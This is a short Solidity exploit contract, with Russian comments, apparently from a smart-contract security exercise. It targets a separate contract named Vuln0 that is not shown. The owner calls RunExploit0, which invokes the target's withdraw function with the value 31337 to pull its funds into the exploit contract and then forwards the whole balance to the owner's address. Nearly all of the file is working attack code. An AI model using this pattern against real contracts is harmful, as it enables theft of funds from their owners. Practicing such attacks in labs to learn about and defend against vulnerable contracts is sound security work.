// SPDX-License-Identifier: UNLICENSED

pragma solidity >=0.8;


import "hardhat/console.sol";

import "./Vuln0.sol";



contract Exploit0 {

    address private owner;

    constructor () {

        // запоминаем кто задеплоил эксплоит
        owner = msg.sender;
    }

    // Функция нужна просто для приёма денег на контракт.
    receive () external payable {

    }

    modifier OnlyOwner () {
        require(msg.sender == owner, "OnlyOwner");
        _;
    }

    // Сюда нужно передать адрес нужного контракта Vuln0.
    function RunExploit0 (address addr) public OnlyOwner {
        
        Vuln0 vuln = Vuln0(addr);

        // Переводим деньги с контракта Vuln0 на адрес контракта эксплоита.
        vuln.withdraw (31337);

        // С контракта эксплоита переводим деньги владельцу.
        payable(owner).transfer (address(this).balance);
    }
}
